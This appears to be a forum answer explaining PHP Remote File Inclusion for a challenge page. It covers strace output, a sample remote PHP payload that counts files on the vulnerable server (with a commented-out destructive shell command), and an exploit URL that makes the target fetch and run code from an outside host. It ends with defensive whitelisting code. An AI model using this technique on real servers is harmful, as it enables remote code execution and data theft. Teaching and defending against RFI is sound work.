I think that it's not working because you're hitting a security check.
I ran strace
to see what PHP was doing when including a file with a legal name, albeit nonexistent, and a file with an illegal name. It behaves differently:
lstat("/home/lserni/./legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/lserni/legal.inc.php", O_RDONLY) = -1 ENOENT ...
write(2, "PHP Warning: include(): Failed "..., 154
PHP Warning: include(): Failed opening 'legal.inc.php' for inclusion...
write(2, "PHP Warning: include(): Failed "..., 148
PHP Warning: include(): Failed opening 'illegal' for inclusion...
So from above you can see that the legal file name gets checked on the file system - twice - and an opening attempt is done even if PHP sees that the file doesn't exist (this rated 0.2 kWTF) and issues an error.
The illegal file name issues the same error, but without even trying to check whether the file might be there.
I'm quite confident that if I check in PHP sources I'll find some test that fakes a "this file isn't here" error, when actually PHP decided to not open the file no matter whether it was there or not.
Remote file inclusion
The "file inclusion" vulnerability means that you can send to the server something that will cause it to include()
(and execute) a file of your choice. The file can be local (Local File Inclusion or LFI) or remote (RFI).
To exploit a RFI you need a remote file on a different domain; not the one you're testing, but another.
This remote file, not the local ones, must be under your control.
The content of the remote file must be such that the vulnerable server will include it; that is, it must be valid PHP.
The remote file, once included, will execute inside the vulnerable server, and so will have access to its local files (but no longer to the remote ones).
So if the remote file displays the instructions "include('index.php');
" or die(file_get_contents('index.php'));
, it will read not the index.php of the remote server, but that of the vulnerable server (which is what we want to do).
At the same time, the remote file will execute on the remote server, so we want it to execute some PHP code that will display another PHP code.
For example this is the content of http://www.serni.org/i.inc.php
:
<?php
// The outer code is just a print.
print <<<INNER_CODE
<?php
// This is a sample remote file inclusion vulnerability.
// It will simply count how many files there are in the
// vulnerable script's directory.
\$files = count(glob('*.*'));
print "This folder contains {\$files} files.";
// Just sayin'.
// shell_exec("FORMAT A: /Y /AUTOTEST");
INNER_CODE;
If you use http://www.serni.org/i.inc.php
as a resource, and the RFI works, the vulnerable page will return the count of files in that directory.
G1mm3 th3 cod3z (TL;DR;DT)
http://example.com/challenge/mypage.php?page=http%3A%2F%2Fwww.serni.org%2Fi
How to defend
Obviously, sanitize your inputs. Or better, whitelist them, and only allow very simple combinations. And unless you need to include remote resources (which happens), set allow_url_fopen
to false.
$allowed_resources = '#^[A-Za-z_0-9-]+$#';
$ok = false;
if (preg_match($allowed_resources, $resource)) {
$actual_file = realpath("external_resources/{$resource}.php");
// We could verify that actual_file matches _SERVER_ROOT/external...
if (file_exists($actual_file)) {
include $actual_file;
$ok = true;
}
}
if (!$ok) {
// We don't want to send back to clients whatever they sent us; that way lie XS vulnerabilities.
$resource = basename(strip_tags($resource));
// Mess a little with people's heads.
die("Warning: include() [function.include]: Failed opening 'C:\\Inetpub\\Resources\\{$resource}.aspx' for inclusion (include_path='C:\\;C:\\WINDOWS;C:\\Program Files\\Nginx;C:\\Python\\Tornado5\\modules')");
}